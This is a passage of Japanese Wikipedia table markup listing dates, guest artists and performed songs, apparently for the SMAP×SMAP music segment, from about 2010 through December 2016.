|[[シーサイド・バウンド]] / [[想い出の渚]] / 渚でシャララ
|
|-
!
|3月8日
|
|[[卒業 (尾崎豊の曲)|卒業]]
|
|-
!
|3月15日
|
|[[ロコ・モーション|THE LOCO-MOTION]]
|
|-
!
|3月22日
|
|[[らいおんハート]]
|
|-
!
|4月26日
|[[矢島美容室]] feat.[[松田聖子|プリンセスセイコ]]
|[[アイドルみたいに歌わせて]]
|
|-
!
|5月10日
|[[久保田利伸]]
|[[LA・LA・LA LOVE SONG]] / [[LOVE RAIN 〜恋の雨〜|LOVE RAIN ~恋の雨~]]
|
|-
!
|5月24日
|[[AKB48]]
|[[RIVER (AKB48の曲)|RIVER]] / [[言い訳Maybe]] / [[会いたかった]] / [[大声ダイヤモンド]] / [[ポニーテールとシュシュ]]
|
|-
!
|5月31日
|[[ジャニーズJr.]]
|[[がんばりましょう]] / [[心の鏡]]
|
|-
!
|6月7日
|[[ウィーン少年合唱団]]
|[[ウィ・アー・ザ・ワールド|We are the world]]
|
|-
!
|6月14日
|[[加山雄三]]とザ・ヤンチャーズ
|[[君といつまでも]] / 座・ロンリーハーツ親父バンド
|
|-
! rowspan="2" |
| rowspan="2" |6月28日
|
|[[We are SMAP!|Magic Time]]
|
|-
|久保田利伸
|LOVE RAIN ~恋の雨~
|
|-
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|7月12日
|
|[[This is love]]
|
|-
!
|7月26日
|
|[[We are SMAP!]]
|
|-
!
|8月2日
|
|This is love
|
|-
!
|8月9日
|[[槇原敬之]]
|[[We are SMAP!|Love & Peace Inside?]]
|
|-
!
|8月16日
|
|This is love
|
|-
!
|8月23日
|
|This is love
|
|-
!
|8月30日
|[[小室哲哉]]
|[[This is love|グラマラス]]
|
|-
!
|9月6日
|
|This is love
|
|-
!
|9月13日
|
|This is love
|
|-
!
|9月27日
|
|This is love
|
|-
!
|10月18日
|[[Perfume]]
|[[チョコレイト・ディスコ]] / SHAKE / [[VOICE (Perfumeの曲)|VOICE]]
|
|-
!
|10月25日
|[[デイビー・ジョーンズ]]
|THEME FROM THE MONKEES / Daydream Believer
|
|-
!
|11月1日
|[[西野カナ]]
|[[会いたくて 会いたくて]] / [[君って]]
|
|-
!
|11月8日
|[[ハローキティ|DJ HELLO KITTY]]
|DJ Hello Kitty / [[ダイナマイト (SMAPの曲)|ダイナマイト]] / [[青いイナズマ]] / HOUSE NATION / This is love
|
|-
!
|11月15日
|[[倉木麻衣]]
|[[Love, Day After Tomorrow]] / [[Secret of my heart]] / [[わたしの、しらない、わたし。]] / [[Stay by my side]] / [[FUTURE KISS]]
|
|-
!
|11月29日
|[[オリビア・ニュートン=ジョン|オリビア・ニュートン・ジョン]]
|[[そよ風の誘惑|Have You Never Been Melody そよ風の誘惑]] / Physical
|
|-
!
|12月6日
|[[ダニエル・パウター|ダニエル・パウダー]]
|[[We are SMAP!|Cry for the Smile]]
|
|-
!
|12月13日
|
|MASAHIRO NAKAI feat.[[マイケル・ジャクソン|MICHAEL JACKSON]]
|
|-
!
|12月20日
|
|[[We are SMAP!|SMAPのポジティブダンス]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2011年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月10日||[[テイラー・スウィフト]]
|MINE / YOU BELONG WITH ME
|
|-
!
|1月17日
|[[斉藤和義]]
|[[歩いて帰ろう]] / [[ずっと好きだった]]
|
|-
!
|1月24日
|[[CHARA|Chara]]
|[[Swallowtail Butterfly 〜あいのうた〜|Swallowtail Butterfly ~あいのうた~]] / TROPHY||
|-
!
|1月31日||[[DJ KAORI]]
|[[Super.modern.artistic.performance|Theme of 019]] / [[BANG! BANG! バカンス!]] / [[SHAKE (SMAPの曲)|SHAKE]] / [[そっと きゅっと/スーパースター★|そっと きゅっと]] / [[$10 (曲)|$10]]||
|-
!
|2月7日
|[[大橋トリオ]]
|[[旅立ちの日に]] / [[贈る言葉]]
|
|-
!
|2月14日
|
|Happy Valentine's Day With LOVE from SMAP
[[らいおんハート]] / [[This is love]] / [[Dear WOMAN]] / [[雪が降ってきた]]
|
|-
!
|2月21日
|[[PUFFY]]
|[[これが私の生きる道]] / [[愛のしるし]] / [[アジアの純真]] / [[ハッピーバースデイ]]
|
|-
!
|2月28日
|[[佐野元春]]
|[[SOMEDAY (佐野元春の曲)|SOMEDAY]]
|
|-
!
|3月7日
|[[ベン・E・キング]]
|[[スタンド・バイ・ミー (ベン・E・キングの曲)|Stand by me]]
|
|-
!
|3月21日
|
|Message Song From SMAP
[[世界に一つだけの花]] / [[Super.modern.artistic.performance|どうか届きますように]] / [[がんばりましょう]]
|
|-
!
|3月28日
|[[FUNKY MONKEY BABYS]]
|[[桜 (FUNKY MONKEY BABYSの曲)|桜]] / [[ランウェイ☆ビート (曲)|ランウェイ☆ビート]]
|
|-
!
|4月18日
|
|[[not alone 〜幸せになろうよ〜|not alone ~幸せになろうよ~]]
|
|-
!
|4月25日
|
|not alone ~幸せになろうよ~
|
|-
!
|5月9日
|
|not alone ~幸せになろうよ~
|
|-
!
|5月16日
|[[観月ありさ]]
|[[伝説の少女]] / [[SpeciAlisa|ALISA IN WONDERLAND]] / [[SpeciAlisa|Will Love]] / not alone ~幸せになろうよ~
|
|-
!
|5月23日
|
|not alone ~幸せになろうよ~
|
|-
!
|5月30日
|[[ジャスティン・ビーバー]]
|NEVER SAY NEVER / BABY
|
|-
!
|6月6日
|[[AKB48]]
|[[ヘビーローテーション (曲)|ヘビーローテーション]] / [[ポニーテールとシュシュ]] / [[Beginner]] / [[Everyday、カチューシャ]]
|
|-
!
|6月13日
|[[KinKi Kids]]
|[[硝子の少年]] / $10 / [[Time (KinKi Kidsの曲)|Time]]
|
|-
!
|6月20日
|[[ケイティ・ペリー]]
|[[カリフォルニア・ガールズ (ケイティ・ペリーの曲)|CALIFORNIA GURLS]]
|
|-
!
|6月27日
|[[シルク・ドゥ・ソレイユ]]
|[[We are SMAP!]]
|
|-
!
|7月11日
|[[レディー・ガガ]]
|[[ジ・エッジ・オブ・グローリー|The Edge Of Glory]] / [[ユー・アンド・アイ (レディー・ガガの曲)|YOU AND I]] / [[ボーン・ディス・ウェイ (曲)|Born This Way]]
|
|-
!
|7月18日
|[[ピンク・レディー]]
|[[UFO (ピンク・レディーの曲)|UFO]] / [[サウスポー (ピンク・レディーの曲)|サウスポー]] / [[渚のシンドバッド]] / [[微笑がえし]]
|
|-
!
|7月25日
|[[スパリゾートハワイアンズ]]
|[[Mermaid (SMAPの曲)|Mermaid]] / [[SMAP 016/MIJ|SUMMER GATE]] / BANG! BANG! バカンス!
|
|-
!
|8月15日
|
|[[三百六十五歩のマーチ]] ([[両さん]])
|
|-
!
|8月22日
|
|[[SMAP AID]] SPECIAL LIVE
[[SMAP 016/MIJ|ススメ!]] / [[オリジナル スマイル]]
|
|-
!
|9月5日
|
|SMAP AID SPECIAL LIVE
[[Pop Up! SMAP|STAY]] / [[Super.modern.artistic.performance|はじまりのうた]]
|
|-
!
|9月12日
|
|[[Can't Stop!! -LOVING-]] in SMAPファンミーティング@[[西武園ゆうえんち]]
|
|-
!
|9月19日
|[[ブラック・アイド・ピーズ|BLACK EYED PEAS]]
|[[ザ・ビギニング (ブラック・アイド・ピーズのアルバム)|THE TIME(DIRTY BIT)]] / [[ジ・エンド (ブラック・アイド・ピーズのアルバム)|I GOTTA FEELING]] / [[モンキー・ビジネス|LET'S GET IT STARTED]]
|
|-
!
|10月3日
|[[小林幸子]]
|母ちゃんのひとり言 / Dear WOMAN
|
|-
!
|10月24日
|[[木村カエラ]]
|[[Ring a Ding Dong]] / [[8EIGHT8|チョコレート]]
|
|-
!
|10月31日
|[[ナオト・インティライミ]]
|[[今のキミを忘れない]]
|
|-
!
|11月7日
|[[シェネル|Che'Nelle]]
|Baby I Love U
|
|-
!
|11月14日
|[[MINMI]]
|[[想い出がいっぱい]]
|
|-
!
|11月21日
|
|[[僕の半分]]
|
|-
!
|12月5日
|
|僕の半分
|
|-
!
|12月12日
|
|僕の半分
|
|-
! rowspan="2" |
| rowspan="2" |12月19日
|[[AKB48]]
|オリジナル スマイル / [[フライングゲット (曲)|フライングゲット]] / [[WE WISH YOU A MERRY CHRISTMAS|We Wish You A Merry Christmas]] / SHAKE / ヘビーローテーション / [[風は吹いている]]
|
|-
|
|僕の半分
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2012年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月9日||[[斉藤和義]]
|[[やさしくなりたい (斉藤和義の曲)|やさしくなりたい]] / [[僕の半分]]
|
|-
!
|1月16日
|
|僕の半分
|
|-
!
|1月23日
|
|僕の半分||
|-
!
|1月30日||[[布袋寅泰]]
|[[スリル (布袋寅泰の曲)|スリル]] / Misson:Impossible Theme / [[POISON (布袋寅泰の曲)|POISON]]||
|-
!
|2月6日
|[[LMFAO]]
|Party Rock Anthem
|
|-
!
|2月13日
|[[きゃりーぱみゅぱみゅ]]
|[[つけまつける]]
|
|-
!
|2月20日
|[[由紀さおり]]
|[[夜明けのスキャット]]
|
|-
!
|3月5日
|[[高橋優]]
|[[卒業 (高橋優の曲)|卒業]]
|
|-
!
|3月19日
|[[Sonar Pocket]]
|世界で一番ステキな君へ。
|
|-
!
|3月26日
|[[WORLD ORDER]]
|2012 / ダイナマイト / WORLD ORDER / 青いイナズマ
|
|-
!
|4月16日
|
|[[さかさまの空]]
|
|-
!
|4月23日
|
|さかさまの空
|
|-
!
|4月30日
|
|さかさまの空
|
|-
!
|5月7日
|
|さかさまの空
|
|-
!
|5月21日
|
|さかさまの空
|
|-
!
|5月28日
|
|さかさまの空
|
|-
!
|6月11日
|[[AKB48]] & [[前田敦子]]
|[[真夏のSounds good !|真夏のSounds good!]] / BANG! BANG! バカンス! / [[君は僕だ]]
|
|-
!
|6月18日
|[[aiko]]
|[[恋のスーパーボール/ホーム|恋のスーパーボール]] / [[くちびる (aikoの曲)|くちびる]]
|
|-
!
|7月2日
|[[TM NETWORK]]
|Love Train / [[Get Wild]] / [[Self Control (方舟に曳かれて)]] / [[I am (TM NETWORKの曲)|I am]]
|
|-
!
|7月16日
|[[ジャスティン・ビーバー]]
|ALL AROUND THE WORLD / BOYFRIEND
|
|-
!
|8月6日
|
|[[GIFT of SMAP|gift]]
|
|-
!
|8月13日
|
|[[Moment (SMAPの曲)|Moment]]
|
|-
!
|8月20日
|[[Kis-My-Ft2]]
|[[SHE! HER! HER!]] / がんばりましょう / [[WANNA BEEEE!!!/Shake It Up|WANNA BEEEE!!!]]
|
|-
!
|8月27日
|
|Moment
|
|-
!
|9月3日
|[[ザ・ビーチ・ボーイズ|The Beach Boys]]
|[[カリフォルニア・ガールズ (ザ・ビーチ・ボーイズの曲)|CALIFORNIA GIRLS]] / [[サーフィン・U.S.A.|SURFIN' USA]]
|
|-
!
|9月10日
|
|[[GIFT of SMAP|Just Go!]]
|
|-
!
|9月17日
|[[アンジェラ・アキ]]
|[[手紙 〜拝啓 十五の君へ〜|手紙 ~拝啓 十五の君へ~]]
|
|-
!
|10月1日
|西部台千葉中学校・高等学校吹奏楽部
|がんばりましょう / 青いイナズマ
|
|-
!
|10月22日
|
|[[SMAP 016/MIJ|A Song For Your Love]]
|
|-
!
|10月29日
|[[ゴールデンボンバー (バンド)|ゴールデンボンバー]]
|[[女々しくて]]
|
|-
!
|11月5日
|[[LOVE PSYCHEDELICO]]
|This is love / [[Beautiful World/Happy Xmas (War Is Over)|Beautiful World]]
|
|-
!
|11月12日
|[[JUJU]]
|[[明日がくるなら]] / [[ありがとう (JUJUの曲)|ありがとう]]
|
|-
!
|11月19日
|[[FUNKY MONKEY BABYS]]
|[[あとひとつ]] / [[サヨナラじゃない]]
|
|-
!
|11月26日
|[[The MONSTERS]]
|[[MONSTERS (曲)|MONSTERS (SPACE COWBOY REMIX)]]
|
|-
!
|12月3日
|[[葉加瀬太郎]]
|情熱大陸 2007 / らいおんハート
|
|-
!
|12月10日
|[[プリンセス プリンセス|PRINCESS PRINCESS]]
|[[Diamonds (プリンセス プリンセスの曲)|Diamonds]] / [[Diamonds (プリンセス プリンセスの曲)|M]]
|
|-
!
|12月17日
|[[木村カエラ]]
|[[SMAP 25 YEARS|チョモランマの唄]] / [[Sync (アルバム)|WONDER Volt]]
|
|-
!
|12月24日
|
|SMAP X'mas Medley in "GIFT of SMAP -CONCERT TOUR'2012-" @札幌ドーム
[[GIFT from SMAP]] / [[友だちへ〜Say What You Will〜|Song of X'smap]] / [[雪が降ってきた|雪が降って来た]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="6" |2013年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考!!視聴率
|-
! rowspan="2" |
| rowspan="2" |1月7日||
|[[GIFT of SMAP|CRAZY FIVE]]
|
|-
|[[ゴールデンボンバー (バンド)|ゴールデンボンバー]]
|[[Dance My Generation]] / [[女々しくて]]
|
|-
!
|1月21日
|[[テイラー・スウィフト]]
|[[私たちは絶対に絶対にヨリを戻したりしない|We Are Never Ever Getting Back Together]]||
|-
!
|1月28日||[[TEE (歌手)|TEE]]
|[[ベイビー・アイラブユー]]||
|-
!
|2月4日
|[[SKE48]]
|[[片想いFinally]] / [[1!2!3!4! ヨロシク!]] / [[キスだって左利き]]
|
|-
!
|2月11日
|
|[[Mistake!/Battery|Mistake!]]
|
|-
!
|2月18日
|
|Mistake!
|
|-
!
|2月25日
|
|Mistake!
|
|-
!
|3月11日
|
|ありがとう
|
|-
!
|3月18日
|[[サカナクション]]
|Moment / [[僕と花]]
|
|-
!
|4月8日
|
|Mistake!
|
|20.0%
|-
!
|4月15日
|
|[[Mistake!/Battery|Battery]]
|
|-
!
|4月22日
|[[Daichi]]
|ダイナマイト
|
|-
!
|4月29日
|
|[[Joy!!]]
|
|-
!
|5月6日
|
|Joy!!
|
|-
!
|5月13日
|
|Joy!!
|
|-
!
|5月20日
|[[ウィル・アイ・アム]]
|#thatPOWER / Scream&Shout -夜空ノムコウ Special Remix-
|
|-
!
|5月27日
|[[AKB48]]
|[[UZA (曲)|UZA]] / [[さよならクロール]] / Joy!!
|
|-
!
|6月3日
|
|Joy!! (PVメイキングver.)
|
|-
!
|6月10日
|
|Joy!!
|
|-
!
|6月17日
|[[日本体育大学]]
|Joy!!
|
|-
!
|7月1日
|[[きゃりーぱみゅぱみゅ]]
|[[にんじゃりばんばん]] / [[インベーダーインベーダー]]
|
|-
!
|7月8日
|[[SEKAI NO OWARI]]
|[[眠り姫 (SEKAI NO OWARIの曲)|眠り姫]] / [[RPG (SEKAI NO OWARIの曲)|RPG]]
|
|-
!
|7月15日
|
|Joy!! (Special version)
|
|-
!
|7月22日
|[[湘南乃風]]
|[[純恋歌]] / [[睡蓮花]]
|
|-
!
|7月29日
|
|[[Joy!!|世界の国からこんにちは]]
|
|-
!
|8月5日
|
|BANG! BANG! バカンス!
|
|-
!
|8月12日
|
|Joy!! (夏祭り version)
|
|-
!
|8月19日
|[[山下智久]]
|[[SUMMER NUDE '13|SUMMER NUDE'13]]
|
|-
!
|8月26日
|[[ベイビーレイズJAPAN|ベイビーレイズ]]
|[[暦の上ではディセンバー]]
|
|-
!
|9月2日
|[[E-girls]]
|[[Follow Me (E-Girlsの曲)|Follow Me]] / [[ごめんなさいのKissing You]]
|
|-
!
|9月9日
|
|SMAPデビュー記念日! シングル50曲ノンストップ生ライブ
|
|12.6%
|-
!
|9月16日
|
|[[GIFT of SMAP|ねぇ…]] (中居正広)
|
|-
!
|10月14日
|[[Perfume]]
|[[Spring of Life]] / Mistake!
|
|-
!
|10月21日
|[[MAX (音楽グループ)|MAX]]
|[[Tacata' (MAXの曲)|Tacata']]
|
|-
!
|10月28日
|[[ピットブル (ラッパー)|PITBULL]]
|Don't Stop The Party / Give Me Everything
|
|-
!
|11月4日
|[[三宅由佳莉]]&[[海上自衛隊]]オーケストラ
|[[祈り〜未来への歌声|祈り~a prayer~]] / オリジナル スマイル
|
|-
!
|11月18日
|
|[[シャレオツ/ハロー|シャレオツ]]
|
|-
!
|11月25日
|
|シャレオツ
|
|-
!
|12月2日
|[[レディー・ガガ]]
|Venus / [[アプローズ (レディー・ガガの曲)|Applause]]
|
|-
!
|12月9日
|
|シャレオツ
|
|-
!
|12月23日
|[[Kis-My-Ft2]] & [[舞祭組]]
|[[SNOW DOMEの約束/Luv Sick|SNOW DOMEの約束]] / [[棚からぼたもち]] / シャレオツ
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2014年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月6日||[[蛯名健一]]
|SHAKE / Battery / SHAKE
|
|-
!
|1月13日
|[[RIP SLYME]]
|[[One (RIP SLYMEの曲)|One]] / [[We are SMAP!|Going Over]] / [[SLY (RIP SLYMEの曲)|SLY]]
|
|-
!
|1月20日
|[[ハローキティ]]&ミミィ
|[[シャレオツ/ハロー|ハロー]]||
|-
!
|1月27日||[[ファンキー加藤]]
|[[My VOICE]]||
|-
!
|2月3日
|AKB48
|[[恋するフォーチュンクッキー]] / [[前しか向かねえ]]
|
|-
!
|2月10日
|
|SMAP Valentine SPECIAL remix
そのまま / 君色思い / This is love / らいおんハート / しようよ
|
|-
!
|2月17日
|[[クリス・ハート]]
|[[たしかなこと]]
|
|-
!
|2月24日
|[[どぶろっく]]
|新・もしかしてだけど
|
|-
!
|3月3日
|[[加藤ミリヤ]] & [[清水翔太]]
|[[Love Forever (加藤ミリヤ×清水翔太の曲)|Love Forever]] / Sakura Melody
|
|-
!
|3月10日
|[[白A|SIRO-A]]
|This is love
|
|-
!
|3月17日
|[[Kis-My-Ft2]] & [[ドラえもん]]
|[[光のシグナル]]
|
|-
!
|3月24日
|[[オーヴォ]]
|この瞬間、きっと夢じゃない
|
|-
!
|4月7日
|[[北島三郎]]
|[[まつり (北島三郎の曲)|まつり]] / [[北の漁場]]
|
|-
!
|4月14日
|
|[[Yes we are/ココカラ|Yes we are]]
|
|-
!
|4月21日
|[[さかいゆう]]
|Yes we are
|
|-
!
|4月28日
|
|[[Yes we are/ココカラ|ココカラ]]
|
|-
!
|5月5日
|[[氣志團]]
|[[喧嘩上等]]
|
|-
!
|5月12日
|[[HIKAKIN]]
|らいおんハート
|
|-
!
|5月19日
|[[ウルフルズ]]
|[[ONE MIND|どうでもよすぎ]]
|
|-
!
|5月26日
|[[May J.]]
|[[Let It Go〜ありのままで〜|Let It Go ~ありのままで~]]
|
|-
!
|6月2日
|[[ファレル・ウィリアムス]]
|HAPPY
|
|-
!
|6月9日
|[[OKAMOTO'S]]
|[[JOY JOY JOY/告白|JOY JOY JOY]]
|
|-
!
|6月16日
|[[aiko]]
|[[泡のような愛だった|明日の歌]]
|
|-
!
|6月23日
|[[きゃりーぱみゅぱみゅ]]
|もったいないらんど / どんないいこと / きらきらキラー
|
|-
!
|7月14日
|
|[[Top Of The World/Amazing Discovery|Top Of The World]]
|
|-
!
|7月21日
|
|Top Of The World
|
|-
!
|7月28日
|
|どうか届きますように
|
|-
!
|8月18日
|[[大塚愛]]
|[[プラネタリウム (大塚愛の曲)|プラネタリウム]] / [[モアモア (曲)|モアモア]]
|
|-
!
|8月25日
|Kis-My-Ft2 & [[舞祭組]]
|[[Another Future]] / [[てぃーてぃーてぃーてれって てれてぃてぃてぃ 〜だれのケツ〜|てぃーてぃーてぃーてれっててれてぃてぃてぃ ~だれのケツ~]] / Top Of The World
|
|-
!
|9月1日
|[[N'夙川BOYS]]
|ジーザスフレンド
|
|-
!
|9月8日
|[[MIYAVI]]
|青いイナズマ / Real? / Top Of The World
|
|-
!
|9月15日
|[[JUJU]]
|[[ラストシーン (JUJUの曲)|ラストシーン]] / [[Door/Hot Stuff|Hot Stuff]]
|
|-
!
|9月22日
|[[アリアナ・グランデ]]
|[[ベイビー・アイ|Baby I]] / [[プロブレム (アリアナ・グランデの曲)|Problem]]
|
|-
!
|10月6日
|[[宝塚歌劇団|宝塚歌劇団花組]]
|闇が広がる / [[オーシャンズ11#舞台|FAKE CITY]] / 世界の王
|
|-
!
|10月13日
|[[マルーン5|MAROON5]]
|PAYPHONE / Maps
|
|-
!
|10月20日
|[[ゲスの極み乙女。]]
|[[猟奇的なキスを私にして/アソビ|猟奇的なキスを私にして]] / [[デジタルモグラ]]
|
|-
!
|10月27日
|[[Dream5]] & [[キング・クリームソーダ]]
|[[Break Out/ようかい体操第一|ようかい体操第一]] / [[ゲラゲラポーのうた]]
|
|-
!
|11月3日
|[[倉木麻衣]]
|[[Love, Day After Tomorrow]] / [[Secret of my heart]] / [[Stand Up (倉木麻衣の曲)|Stand up]] / [[Feel fine!]] / Love, Day After Tomorrow
|
|-
!
|11月10日
|
|[[Mr.S|Mr.S -SAITEI DE SAIKOU NO OTOKO-]]
|
|-
!
|11月17日
|[[岡村靖幸]]
|[[カルアミルク (岡村靖幸の曲)|カルアミルク]] / [[彼氏になって優しくなって]] / [[愛はおしゃれじゃない]]
|
|-
!
|12月1日
|
|[[Top Of The World/Amazing Discovery|Amazing Discovery]]
|
|-
!
|12月8日
|[[森山直太朗]]
|[[若者たち (曲)|若者たち]]
|
|-
!
|12月15日
|[[西野カナ]]
|[[Darling (西野カナの曲)|Darling]]
|
|-
!
|12月22日
|[[秦基博]]
|[[ひまわりの約束]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="6" |2015年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考!!視聴率
|-
!
|1月5日||[[SEKAI NO OWARI]]
|[[スノーマジックファンタジー]] / [[Dragon Night]]
|
|-
!
|1月19日
|
|[[華麗なる逆襲/ユーモアしちゃうよ|ユーモアしちゃうよ]]
|
|-
!
|1月26日
|[[水樹奈々]]
|[[ETERNAL BLAZE]] / [[エデン (水樹奈々の曲)|エデン]]||
|-
!
|2月2日||[[リック・アストリー]]
|[[ギヴ・ユー・アップ|Never Gonna Give You Up]] / [[トゥゲザー・フォーエヴァー|Together Forever]]||
|-
!
|2月9日
|
|華麗なる逆襲
|
|-
!
|2月16日
|
|華麗なる逆襲
|
|-
!
|2月23日
|[[シェネル]]
|Happiness
|
|-
!
|3月2日
|[[絢香]]
|[[にじいろ]]
|
|-
!
|3月9日
|[[東京スカパラダイスオーケストラ]]
|[[SKA ME FOREVER|ペドラーズ2014]] / [[星降る夜に (東京スカパラダイスオーケストラの曲)|星降る夜に]] / [[Sunny Side of the Street|All Good Ska is One]]
|
|-
!
|3月16日
|[[Kis-My-Ft2]] & [[舞祭組]]
|[[やっちゃった!!]] / [[Kiss魂]]
|
|-
!
|3月30日
|
|Joy!! (大運動会ver.)
|
|15.9%
|-
!
|4月13日
|[[E-girls]]
|[[E.G. Anthem -WE ARE VENUS-|E.G.Anthem -WE ARE VENUS-]]
|
|-
!
|4月20日
|[[久保田利伸]]
|Bring me up! / [[L.O.K|Loving Power]]
|
|-
!
|4月27日
|[[クマムシ (お笑いコンビ)|クマムシ]]
|[[あったかいんだからぁ♪]] / 笑顔のゲンキ
|
|-
!
|5月4日
|[[chay]]
|[[あなたに恋をしてみました]]
|
|-
!
|5月11日
|[[SPICY CHOCOLATE]]
|[[ずっとスパイシーチョコレート!〜BEST OF 渋谷 RAGGA SWEET COLLECTION|ずっと feat. HAN-KUN & TEE]]
|
|-
!
|5月18日
|[[渡辺美里]]
|[[My Revolution]]
|
|-
!
|5月25日
|[[Superfly]]
|[[Beautiful (Superflyの曲)|Beautiful]]
|
|-
!
|6月1日
|[[湘南乃風]]
|[[湘南乃風〜COME AGAIN〜|晴ル矢]]
|
|-
!
|6月8日
|[[メーガン・トレイナー]]
|[[オール・アバウト・ザット・ベース|All About That Bass]]
|
|-
!
|6月15日
|
|Amazing Discovery
|
|-
!
|6月29日
|
|SMAP SELECT 5
[[SAMPLE BANG!|Fine, Peace!]] / [[Mr.S|好きよ]] / [[GIFT of SMAP|真夏の脱獄者]] / [[Joy!!|掌の世界]] / [[Mr.S|ビートフルデイ]]
|
|-
!
|7月13日
|
|CRAZY FIVE (from 27時間テレビ)
|
|-
!
|7月20日
|[[Sexy Zone]]
|[[Cha-Cha-Cha チャンピオン]] / BANG! BANG! バカンス!
|
|-
!
|8月3日
|[[カーリー・レイ・ジェプセン]]
|[[コール・ミー・メイビー|Call Me Baby]] / [[エモーション (カーリー・レイ・ジェプセンのアルバム)|I Really Like You]]
|
|-
!
|8月10日
|
|Triangle
|
|-
!
|8月17日
|[[MIYAVI]]
|Mission:Impossible Theme / The Others / $10
|
|-
!
|8月31日
|
|[[Otherside/愛が止まるまでは|Otherside]]
|
|-
!
|9月7日
|
|Otherside
|
|-
!
|9月14日
|
|[[Otherside/愛が止まるまでは|愛が止まるまでは]]
|
|-
!
|10月5日
|[[ゲスの極み乙女。]]
|[[私以外私じゃないの]] / [[オトナチック/無垢な季節|オトナチック]] / 愛が止まるまでは
|
|-
!
|10月12日
|[[ゆず (音楽グループ)|ゆず]]
|[[虹 (ゆずの曲)|虹]] / [[OLA!!]]
|
|-
!
|10月19日
|[[きゃりーぱみゅぱみゅ]]
|[[Crazy Party Night 〜ぱんぷきんの逆襲〜|Crazy Party Night ~ぱんぷきんの逆襲~]]
|
|-
!
|10月26日
|AKB48
|[[ハロウィン・ナイト]]
|
|-
!
|11月2日
|[[WORLD ORDER]]
|世界に一つだけの花 / HAVE A NICE DAY / SHAKE
|
|-
!
|11月9日
|[[チャーリー・プース]]
|See You Again
|
|-
!
|11月16日
|[[家入レオ]]
|[[君がくれた夏 (家入レオの曲)|君がくれた夏]]
|
|-
!
|11月23日
|[[TEE (歌手)|TEE]]
|5年後のアイラブユー
|
|-
!
|11月30日
|back number
|[[クリスマスソング (back numberの曲)|クリスマスソング]] / [[高嶺の花子さん]]
|
|-
!
|12月7日
|[[星野源]]
|[[SUN (曲)|SUN]]
|
|-
!
|12月14日
|[[電気グルーヴ]]
|[[Shangri-La (電気グルーヴの曲)|Shangri-La]] / N.O.2016
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="6" |2016年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考!!視聴率
|-
!
|1月11日||[[稲葉浩志]] ([[B'z]])
|[[羽 (稲葉浩志の曲)|羽]]
|
|-
!
|1月18日
|
|
|
|31.2%
|-
!
|1月25日
|[[藤巻亮太]]
|[[粉雪 (レミオロメンの曲)|粉雪]] / 大切な人
|
|-
!
|2月8日
|
|[[涙のキッス]]||草彅剛選曲「スマラブ」
|-
!
|2月15日||[[桐谷健太]]
|[[海の声 (曲)|海の声]]||
|-
!
|2月29日
|[[広瀬香美]]
|[[ロマンスの神様]] / [[ゲレンデがとけるほど恋したい|ゲレンゲがとけるほど恋したい]]
|
|-
!
|3月7日
|[[Cero (バンド)|cero]]
|Summer Soul
|
|-
!
|3月14日
|[[クール&ザ・ギャング|KOOL & THE GANG]]
|Celebration
|
|-
!
|4月18日
|[[いきものがかり]]
|[[SAKURA (いきものがかりの曲)|SAKURA]] / [[ありがとう (いきものがかりの曲)|ありがとう]] / [[じょいふる]]
|
|-
!
|5月2日
|
|天国うまれ
|香取慎吾選曲「スマラブ」
|-
!
|5月9日
|[[アリアナ・グランデ]]
|[[デンジャラス・ウーマン (アルバム)|Be Alright]]
|
|-
!
|5月16日
|[[吉川晃司]]
|[[WILD LIPS|Wild Lips]]
|
|-
!
|5月30日
|[[スチャダラパー]]
|[[今夜はブギー・バック]] / レッツロックオン
|
|-
!
|6月6日
|[[水前寺清子]] & [[くまモン]]
|[[三百六十五歩のマーチ]]
|
|-
!
|6月13日
|
|[[糸 (曲)|糸]]
|稲垣吾郎選曲「スマラブ」
|-
!
|7月11日
|布袋寅泰
|[[さらば青春の光 (布袋寅泰の曲)|さらば青春の光]] / [[バンビーナ]]
|
|-
!
|8月1日
|[[水曜日のカンパネラ]]
|雪男イエティ / チュパカブラ
|
|-
!
|8月8日
|[[カルチャー・クラブ]]
|[[カーマは気まぐれ|Karma Chameleon]] / Do you really want to hurt me?
|
|-
!
|8月15日
|[[絢香]]
|[[三日月 (絢香の曲)|三日月]]
|
|-
!
|8月22日
|[[DAIGO]]
|[[KSK]]
|
|-
!
|8月29日
|[[平井堅]]
|[[魔法って言っていいかな?]]
|
|-
!
|9月5日
|[[矢野顕子]]
|[[ひとつだけ/the very best of 矢野顕子|ひとつだけ]]
|
|-
!
|9月19日
|[[ノラ・ジョーンズ|Norah Jones]]
|Carry On / Don't Know Why
|
|-
!
|10月3日
|[[JUJU]]
|恋におちて
|
|-
!
|10月17日
|[[THE YELLOW MONKEY]]
|[[バラ色の日々 (THE YELLOW MONKEYの曲)|バラ色の日々]] / [[砂の塔 (THE YELLOW MONKEYの曲)|ALRIGHT]]
|
|-
!
|10月24日
|[[バナナラマ|Bananarama]]
|I Heard a Rumour / [[ヴィーナス (ショッキング・ブルーの曲)|Venus]]
|
|-
!
|10月31日
|[[松任谷由実]]
|[[宇宙図書館|Smile for me]] / [[守ってあげたい]]
|
|-
!
|11月7日
|[[谷村新司]]
|[[昴 (谷村新司の曲)|昴 -すばる-]]
|
|-
!
|11月14日
|[[back number]]
|[[青い春 (back numberの曲)|青い春]] / [[ハッピーエンド (back numberの曲)|ハッピーエンド]]
|
|-
!
|11月21日
|[[ウルフルズ]]
|[[笑えれば (ウルフルズの曲)]]
|
|-
! rowspan="2" |
| rowspan="2" |12月5日
|[[スティング (ミュージシャン)|STING]]
